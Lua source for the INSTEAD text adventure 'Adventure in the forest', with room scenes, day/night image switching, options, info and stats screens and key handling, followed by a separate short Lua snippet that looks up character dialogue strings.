if evening == 27 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight30.png@0,0' end;
if evening == 0 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight30.png@0,0' end;
if evening == 0 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight30.png@0,0' end;
end;
onenter = function()
seaseen = true;
end;
decor = function()
p[[Синее море простирается до горизонта.]];
if seegulls then p[[Вдали видны чайки, занятые поиском пищи.]] end;
p[[Водная стихия завораживает. Все герои человеческого эпоса, вероятно, сейчас плавают там, мужественно сражаясь за жизнь... Моряки, пираты, капитаны и матросы...
К берегу пришвартована {lodka|лодка}.]];
end;
obj = {'lodka'};
way = { path{'К дубу', 'indub'} };
}
obj {
nam = 'lodka';
act = function()
p[[Старая, но всё ещё надежная лодка. Интересно, кому она принадлежит?]];
end;
}
room {
nam = 'guesthouse';
disp = 'Дома у хозяев';
enter = function()
snd.music('mus/TheGreatUnknown.ogg');
end;
pic = function()
-- if zanaveskaopen and not (evening > 30) then return 'gfx/40_2.png' end;
-- if zanaveskaopen and evening > 30 and oboroten then return 'gfx/40_3.png' end;
-- if zanaveskaopen and evening > 30 and not oboroten then return 'gfx/40_2.png' end;
-- if not zanaveskaopen then return 'gfx/40.png' end;
if not eveningenabled and zanaveskaopen and not (evening > 30) then return 'gfx/40_2.png' end;
if not eveningenabled and zanaveskaopen and evening > 30 and oboroten then return 'gfx/40_3.png' end;
if not eveningenabled and zanaveskaopen and evening > 30 and not oboroten then return 'gfx/40_2.png' end;
if not eveningenabled and not zanaveskaopen then return 'gfx/40.png' end;
if eveningenabled and zanaveskaopen and not (evening > 30) then return 'gfx/40_2.png;gfx/daynight2/daynight_evening.png@0,0' end;
if eveningenabled and zanaveskaopen and evening > 30 and oboroten then return 'gfx/40_3.png;gfx/daynight2/daynight_evening.png@0,0' end;
if eveningenabled and zanaveskaopen and evening > 30 and not oboroten then return 'gfx/40_2.png;gfx/daynight2/daynight_evening.png@0,0' end;
if eveningenabled and not zanaveskaopen then return 'gfx/40.png;gfx/daynight2/daynight_evening.png@0,0' end;
end;
obj = {'podvinut'};
decor = function()
p [[Уютный дом у конюха! Справа ты видишь печку. Слева - кровать от местных мастеров. Наверное, столяр был пьян, когда ее делал... Но это настоящая кровать! С мягкой подушкой и теплым одеялом. Под ногами - красивый коврик. Над головой - визитная карточка этих мест. Здесь нет и не было электричества, поэтому всё на свечах. Наверное, дорого обходится... Ты можешь {podvinut|подвинуть} занавеску.]];
end;
way = { path{'Выйти', 'village'} };
}
obj {
nam = 'podvinut';
act = function()
clickmute = true;
snd.play ('snd/zanaveska.ogg', 1);
zanaveskaopen = not zanaveskaopen;
-- if not zanaveskaopen then zanaveskaopen = true else zanaveskaopen = false end
end;
}
createstatus = function()
if not here():type 'dlg' then D {"text", "txt", status, xc = true, yc = true, x = 695, w = 160, y = 102, align = 'center', hidden = false, h = 128, typewriter = false, font = 'fnt/Classicrussianc.otf', size = 20 , click = false, z = -1 } end;
end;
deletestatus = function()
D { "text" }
end;
createbutton = function()
D {"control_panel", "img", "gfx/options_menu.png", x = 695, y = 569, click = true, z = -1}
D {"info_panel", "img", "gfx/info_menu.png", x = 635, y = 567, click = true, z = -1}
D {"statsclick", "img", "gfx/statsclick.png", x = 635, y = 32, click = true, z = -1}
createclickonscene();
createstatus();
end;
deletebutton = function()
D { "control_panel" }
D { "info_panel" }
D { "statsclick" }
deleteclickonscene();
deletestatus();
end;
createcursors = function()
D {"cursor_usual", "img", "gfx/inv/cursor.png", x = 739, y = 48, click = true, z = -1}
D {"cursor_big", "img", "gfx/inv/cursorbig.png", x = 739, y = 98, click = true, z = -1}
D {"cursor_verybig", "img", "gfx/inv/cursorverybig.png", x = 739, y = 148, click = true, z = -1}
end;
deletecursors = function()
D { "cursor_usual" }
D { "cursor_big" }
D { "cursor_verybig" }
end;
createclickonscene = function()
D {"clickonscene", "img", "gfx/clickonscene.png", x = clickonscene_x, y = clickonscene_y, click = true, z = -1}
clickonsceneenabled = true;
end;
deleteclickonscene = function()
D { "clickonscene" }
clickonsceneenabled = false;
end;
createtraces = function()
D {"traces", "img", "gfx/traces.png", x = rnd(600), y = rnd(500), click = true, z = -1}
end;
deletetraces = function()
D { "traces" }
end;
createruslang = function()
D {"ruslang", "img", rulangimage, x = 615, y = 33, click = true, z = -1}
end;
deleteruslang = function()
D { "ruslang" }
end;
createenglang = function()
D {"englang", "img", enlangimage, x = 615, y = 74, click = true, z = -1}
end;
deleteenglang = function()
D { "englang" }
end;
createukrlang = function()
D {"ukrlang", "img", ualangimage, x = 615, y = 115, click = true, z = -1}
end;
deleteukrlang = function()
D { "ukrlang" }
end;
createinfobar = function()
if ru then D {"keys_infobar", "img", "gfx/keys_infobar.png", x = 0, y = 0, click = true, z = -1} end;
if en then D {"keys_infobar", "img", "gfx/keys_infobar_en.png", x = 0, y = 0, click = true, z = -1} end;
if ua then D {"keys_infobar", "img", "gfx/keys_infobar_ua.png", x = 0, y = 0, click = true, z = -1} end;
infobarshow = true;
end;
deleteinfobar = function()
D { "keys_infobar" }
infobarshow = false;
end;
createredbar = function()
D {"redbar", "img", "gfx/red.png", x = 0, y = 0, click = true, z = -1}
redbarshow = true;
end;
deleteredbar = function()
D { "redbar" }
redbarshow = false;
end;
room {
nam = 'control_room';
pic = 'gfx/options.png';
disp = false;
noinv = true;
enter = function()
weareincontrol = true;
bg_name = 'gfx/bg_options.png' theme.gfx.bg (bg_name)
deletebutton();
deleteclickonscene();
createcursors();
createtraces();
theme.win.geom (0, 10, 664, 600);
if ru then p ( fmt.c('Добро пожаловать в меню опций!^Вы можете сменить язык игры, а также размер курсора.') ); end;
if en then p ( fmt.c('Welcome to the options menu!^You can change the language of the game, as well as the size of the cursor.') ); end;
if ua then p ( fmt.c('Ласкаво просимо в меню опцій!^Ви можете змінити мову гри, а також розмір курсора.') ); end;
end;
decor = function()
if ru then p ( fmt.c('Выберите язык игры:^') ); end;
if en then p ( fmt.c('Choose game language:^') ); end;
if ua then p ( fmt.c('Виберіть мову гри:^') ); end;
p ( fmt.c(' {russian|Русский}, {english|English}, {ukrainian|Українська}') );
if ru then p ( fmt.c('^^{enableeveningmode|Включить вечер}.') ); end;
if en then p ( fmt.c('^^{enableeveningmode|Enable evening}.') ); end;
if ua then p ( fmt.c('^^{enableeveningmode|Увімкнути вечір}.') ); end;
if ru then if theme.get'win.fnt.size' ~= '25' then p ( fmt.c('^^{fontsizeplus|Увеличить размер шрифта}.') ); end; end;
if en then if theme.get'win.fnt.size' ~= '25' then p ( fmt.c('^^{fontsizeplus|Increase font size}.') ); end; end;
if ua then if theme.get'win.fnt.size' ~= '25' then p ( fmt.c('^^{fontsizeplus|Збільшити розмір шрифту}.') ); end; end;
if ru then if theme.get'win.fnt.size' ~= '10' then p ( fmt.c('{fontsizeminus|Уменьшить размер шрифта}.') ); end; end;
if en then if theme.get'win.fnt.size' ~= '10' then p ( fmt.c('{fontsizeminus|Reduce font size}.') ); end; end;
if ua then if theme.get'win.fnt.size' ~= '10' then p ( fmt.c('{fontsizeminus|Зменшити розмір шрифту}.') ); end; end;
if ru then p ( fmt.c('^^Текущий размер шрифта: '..fontsize) ); end;
if en then p ( fmt.c('^^Current font size: '..fontsize) ); end;
if ua then p ( fmt.c('^^Поточний розмір шрифта: '..fontsize) ); end;
if ru then p ( fmt.c('^^{@ walkout|К ИГРЕ!}') ); end;
if en then p ( fmt.c('^^{@ walkout|TO GAME!}') ); end;
if ua then p ( fmt.c('^^{@ walkout|ДО ГРИ!}') ); end;
end;
exit = function()
weareincontrol = false;
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
createclickonscene();
deletecursors();
deletetraces();
theme.reset 'win.x';
theme.reset 'win.y';
theme.reset 'win.w';
theme.reset 'win.h';
end;
obj = {'russian', 'english', 'ukrainian', 'enableeveningmode', 'fontsizeplus', 'fontsizeminus'};
}
obj {
nam = 'russian';
act = function() setru(); language = 'ru'; p ( fmt.c('^Язык успешно изменен!') ); end;
}
obj {
nam = 'english';
act = function() seten(); language = 'en'; p ( fmt.c('^Language successfully changed!') ); end;
}
obj {
nam = 'ukrainian';
act = function() setua(); language = 'ua'; p ( fmt.c('^Мову успішно змінено!') ); end;
}
obj {
nam = 'enableeveningmode';
act = function()
eveningenabled = true;
p ( fmt.c('^Теперь наступит вечер. Но если только вы в деревне.') );
end;
}
obj {
nam = 'fontsizeplus';
act = function()
fontsizeinc();
end;
}
obj {
nam = 'fontsizeminus';
act = function()
fontsizedec();
end;
}
function fontsizeinc()
if theme.get'win.fnt.size' < '25' then fontsize = theme.get'win.fnt.size'+1; end;
theme.win.font ("fnt/{sans,sans-b,sans-i,sans-bi}.ttf", fontsize, 1);
if ru then if theme.get'win.fnt.size' <= '24' then p ( fmt.c('^Размер шрифта увеличен.') ); end; end;
if en then if theme.get'win.fnt.size' <= '24' then p ( fmt.c('^Font size increased.') ); end; end;
if ua then if theme.get'win.fnt.size' <= '24' then p ( fmt.c('^Розмір шрифту збільшений.') ); end; end;
if ru then if theme.get'win.fnt.size' == '25' then p ( fmt.c('^Куда уж больше?..') ); end; end;
if en then if theme.get'win.fnt.size' == '25' then p ( fmt.c('^Much more?..') ); end; end;
if ua then if theme.get'win.fnt.size' == '25' then p ( fmt.c('^Куди вже більше?..') ); end; end;
fontsize = theme.get'win.fnt.size';
end;
function fontsizedec()
if theme.get'win.fnt.size' > '10' then fontsize = theme.get'win.fnt.size'-1; end;
theme.win.font ("fnt/{sans,sans-b,sans-i,sans-bi}.ttf", fontsize, 1);
if ru then if theme.get'win.fnt.size' >= '11' then p ( fmt.c('^Размер шрифта уменьшен.') ); end; end;
if en then if theme.get'win.fnt.size' >= '11' then p ( fmt.c('^Font size reduced.') ); end; end;
if ua then if theme.get'win.fnt.size' >= '11' then p ( fmt.c('^Розмір шрифту зменшений.') ); end; end;
if ru then if theme.get'win.fnt.size' == '10' then p ( fmt.c('^Куда уж меньше?..') ); end; end;
if en then if theme.get'win.fnt.size' == '10' then p ( fmt.c('^Far less?..') ); end; end;
if ua then if theme.get'win.fnt.size' == '10' then p ( fmt.c('^Куди вже менше?..') ); end; end;
fontsize = theme.get'win.fnt.size';
end;
room {
nam = 'info_room';
disp = false;
noinv = true;
enter = function()
weareincontrol = true;
bg_name = 'gfx/bg_info.png' theme.gfx.bg (bg_name)
deletebutton();
theme.win.geom (0, 10, 644, 580);
end;
decor = function()
p ( fmt.c('^'..fmt.img('gfx/icon.png')..'^') );
if ru then p ( fmt.c('Лесное приключение^^ Текстографическая игра на движке INSTEAD, квест. ^^Автор - Дмитрий Петрук. В сети я представлен под никами:^ Amberit(92), Artorius, Artomberus.') ); end;
if en then p ( fmt.c('Adventure in the forest^^ Textographic game on the INSTEAD engine, quest. ^^The author - Dmitry Petruk. In the network, I am represented under the nicknames:^ Amberit(92), Artorius, Artomberus.') ); end;
if ua then p ( fmt.c('Лісова пригода^^ Текстографічна гра на рушії INSTEAD, квест. ^^Автор - Дмитро Петрук. В мережі я представлений під ніками:^ Amberit(92), Artorius, Artomberus.') ); end;
if ru then p ( fmt.c('^ Найти меня можно в Telegram: @amberit92') ); end;
if en then p ( fmt.c('^ You can find me on Telegram: @amberit92') ); end;
if ua then p ( fmt.c('^ Знайти мене можна в Telegram: @amberit92') ); end;
if ru then p ( fmt.c('^^ На форуме INSTEAD: ^ {$link|http://instead-games.ru/forum/index.php?p=/profile/artomberus}') ); end;
if en then p ( fmt.c('^^ On INSTEAD forum (russian language): ^ {$link|http://instead-games.ru/forum/index.php?p=/profile/artomberus}') ); end;
if ua then p ( fmt.c('^^ На форумі INSTEAD (російською): ^ {$link|http://instead-games.ru/forum/index.php?p=/profile/artomberus}') ); end;
if ru then p ( fmt.c('^^ Адрес игры на GitHub: ^ {$link|https://github.com/artomberus/adventureintheforest}') ); end;
if en then p ( fmt.c('^^ Game adress on GitHub: ^ {$link|https://github.com/artomberus/adventureintheforest}') ); end;
if ua then p ( fmt.c('^^ Адреса гри на GitHub: ^ {$link|https://github.com/artomberus/adventureintheforest}') ); end;
if ru then p ( fmt.c('^^ Также посмотрите мою галерею фотографий природы: ^ {$link|https://www.deviantart.com/artomberus/gallery/}') ); end;
if en then p ( fmt.c('^^ Also see my gallery of nature photos: ^ {$link|https://www.deviantart.com/artomberus/gallery/}') ); end;
if ua then p ( fmt.c('^^ Також подивіться мою галерею фотографій природи: ^ {$link|https://www.deviantart.com/artomberus/gallery/}') ); end;
if ru then p ( fmt.c('^^ Ещё один мой проект на движке INSTEAD: ^ {$link|http://instead-games.ru/game.php?ID=329}') ); end;
if en then p ( fmt.c('^^ Another project of mine on the INSTEAD engine: ^ {$link|http://instead-games.ru/game.php?ID=329}') ); end;
if ua then p ( fmt.c('^^ Ще один мій проект на рушії INSTEAD: ^ {$link|http://instead-games.ru/game.php?ID=329}') ); end;
if ru then p ( fmt.c('^^Спасибо всем, кто помогал и помогает мне с инстедом и разработкой.^ Позднее я напишу здесь подробно. А теперь...') ); end;
if en then p ( fmt.c('^^Thanks to everyone who helped and helps me with INSTEAD and development. ^ Later I will write here in detail. And now...') ); end;
if ua then p ( fmt.c('^^Дякую всім, хто допомагав і допомагає мені з інстедом і розробкою. ^ Пізніше я напишу тут докладно. А зараз...') ); end;
if ru then p ( fmt.c('^^{@ walkout|К ИГРЕ!}') ); end;
if en then p ( fmt.c('^^{@ walkout|TO GAME!}') ); end;
if ua then p ( fmt.c('^^{@ walkout|ДО ГРИ!}') ); end;
end;
exit = function()
weareincontrol = false;
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
theme.reset 'win.x';
theme.reset 'win.y';
theme.reset 'win.w';
theme.reset 'win.h';
end;
}
room {
nam = 'stats';
disp = false;
noinv = true;
enter = function()
weareincontrol = true;
bg_name = 'gfx/bg_info.png' theme.gfx.bg (bg_name)
deletebutton();
theme.win.geom (0, 10, 664, 600);
end;
decor = function()
p ( fmt.c('^'..fmt.img('gfx/icon.png')..'^') );
if ru then p ( fmt.c('^Итак. Что же ты успел сделать уже?^^') ); end;
if ru and touchedkey then p ( fmt.c('Посветил фонариком и нашел ключ.') ); end;
if ru and touchedtopor then p ( fmt.c('Нашел топор.') ); end;
if ru and openedwithkey then p ( fmt.c('Открыл дверь ключом.') ); end;
if ru and brokenwithtopor then p ( fmt.c('Сломал дверь топором.') ); end;
if ru and havelopata then p ( fmt.c('^Взял лопату в хижине.') ); end;
if ru and haveudochka then p ( fmt.c('Взял удочку в хижине.') ); end;
if ru and havevedro then p ( fmt.c('Взял ведро в хижине.') ); end;
if ru then p ( fmt.c('^^{@ walkout|К ИГРЕ!}') ); end;
if en then p ( fmt.c('^^{@ walkout|TO GAME!}') ); end;
if ua then p ( fmt.c('^^{@ walkout|ДО ГРИ!}') ); end;
end;
exit = function()
weareincontrol = false;
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
theme.reset 'win.x';
theme.reset 'win.y';
theme.reset 'win.w';
theme.reset 'win.h';
end;
}
function keys:filter(press, key) -- код для того, чтобы узнавать коды клавиш
return press
-- if key == 'up' or key == 'down' or key == 'left' or key == 'right' or key == 'return' or key == 'space' or key == 'o' or --key == 'k' or key == 'i' then return press
-- end
end;
game.onkey = function(s, press, key)
if not passedintro and key == 'up' and ualangimage ~= "gfx/ukrainian_selected.png" and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" then ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем вверх
if not passedintro and key == 'down' and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" and ualangimage ~= "gfx/ukrainian_selected.png" then rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем вниз
if not passedintro and key == 'up' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end;
if not passedintro and key == 'up' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end;
if not passedintro and key == 'up' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end;
if not passedintro and key == 'down' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end;
if not passedintro and key == 'down' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end;
if not passedintro and key == 'down' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end;
if not passedintro and key == 'left' and ualangimage ~= "gfx/ukrainian_selected.png" and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" then ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем влево
if not passedintro and key == 'right' and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" and ualangimage ~= "gfx/ukrainian_selected.png" then rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем вправо
if not passedintro and key == 'left' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end;
if not passedintro and key == 'left' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end;
if not passedintro and key == 'left' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end;
if not passedintro and key == 'right' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end;
if not passedintro and key == 'right' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end;
if not passedintro and key == 'right' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end;
if not passedintro and key == 'return' then walk('start') return end;
if not passedintro and key == 'space' then walk('start') return end;
-- p("Нажата: ", key);
if passedintro and key == 'i' and not infobarshow and not weareincontrol then walkin('info_room'); return end;
if passedintro and key == 'o' and not infobarshow and not weareincontrol then walkin('control_room'); return end;
if passedintro and key == 'k' and not infobarshow then instead.fading = false; deleteclickonscene(); fadingcanbe = false; createinfobar(); theme.gfx.bg (bg_name) return okay(); end;
if passedintro and key == 'k' and infobarshow then deleteinfobar(); theme.gfx.bg (bg_name) createclickonscene(); fadingcanbe = true; repeatplease = true; return std.nop() end;
if passedintro and press and infobarshow then deleteinfobar(); theme.gfx.bg (bg_name) createclickonscene(); fadingcanbe = true; repeatplease = true; return std.nop() end;
if weareincontrol and key == 'escape' then walk( from() ) return end;
if key == 'r' then
if ru == false then langchanged = true else langchanged = false end;
setru();
rulangimage = "gfx/russian_selected.png";
enlangimage = "gfx/english.png";
ualangimage = "gfx/ukrainian.png";
if here() ~= 'main' then
if langchanged then temphide = true setstatword() walk( here() ) temphide = false else
if seen('dub', here() ) then std.nop() walk( here() )
end;
end;
end;
if firststart then walk(here()) end;
return end;
if key == 'e' then
if en == false then langchanged = true else langchanged = false end;
seten();
enlangimage = "gfx/english_selected.png";
rulangimage = "gfx/russian.png";
ualangimage = "gfx/ukrainian.png";
if here() ~= 'main' then if langchanged then temphide = true setstatword() walk( here() ) temphide = false else
if seen('dub', here() ) then std.nop() walk( here() )
end;
end;
end;
if firststart then walk(here()) end;
return end;
if key == 'u' then
if ua == false then langchanged = true else langchanged = false end;
setua();
ualangimage = "gfx/ukrainian_selected.png";
rulangimage = "gfx/russian.png";
enlangimage = "gfx/english.png";
if here() ~= 'main' then if langchanged then temphide = true setstatword() walk( here() ) temphide = false else
if seen('dub', here() ) then std.nop() walk( here() )
end;
end;
end;
if firststart then walk(here()) end;
return end;
if passedintro and key == '-' then
if clickonscene_y >= 26 then fontsizedec() clickonscene_y = clickonscene_y-1.5 deleteclickonscene() createclickonscene() theme.gfx.bg (bg_name) end;
return end;
if passedintro and key == '=' then
if clickonscene_y <= 45.5 then fontsizeinc() clickonscene_y = clickonscene_y+1.5 deleteclickonscene() createclickonscene() theme.gfx.bg (bg_name) end;
return end;
if not passedintro and not key == 'o' and not key == 'k' and not key == 'i' and not key == 'r' and not key == 'e' and not key == 'u' and not key == 'escape' and not key == '-' and not key == '=' then return true else return false end;
end;
okay = function() -- заморозить сцену и перейти ещё раз
std.nop();
walk ( here() );
end;
|
local function getcharacterstring(tab, item, modifier)
if modifier then
modifier = string.upper(modifier)
end
if tab then
local topic_tab = tab[item]
if topic_tab then
if type(topic_tab) == "string" then
return topic_tab
elseif type(topic_tab) == "table" then
if modifier and topic_tab[modifier] then
return topic_tab[modifier]
end
if topic_tab['GENERIC'] then
return topic_tab['GENERIC']
end
if #topic_tab > 0 then
return topic_tab[math.random(#topic_tab)]
end
end
end
end
end
function GetGenderStrings(charactername)
if table.contains(CHARACTER_GENDERS.MALE, charactername) then
return "MALE"
elseif table.contains(CHARACTER_GENDERS.FEMALE, charactername) then
return "FEMALE"
elseif table.contains(CHARACTER_GENDERS.ROBOT, charactername) then
return "ROBOT"
else
return "MALE"
end
end
function GetSpecialCharacterString(character)
character = string.lower(character)
if character == "wilton" then
local sayings =
{
"Ehhhhhhhhhhhhhh.",
"Eeeeeeeeeeeer.",
"Rattle.",
"click click click click",
"Hissss!",
"Aaaaaaaaa.",
"mooooooooooooaaaaan.",
"...",
}
return sayings[math.random(#sayings)]
elseif character == "wes" then
return ""
end
end
function GetString(character, stringtype, modifier)
character = character and string.upper(character)
stringtype = stringtype and string.upper(stringtype)
modifier = modifier and string.upper(modifier)
local ret = GetSpecialCharacterString(character) or
getcharacterstring(STRINGS.CHARACTERS[character], stringtype, modifier) or
getcharacterstring(STRINGS.CHARACTERS["GENERIC"], stringtype, modifier)
if ret then
return ret
end
return "UNKNOWN STRING: "..( character or "") .." ".. (stringtype or "") .." ".. (modifier or "")
end
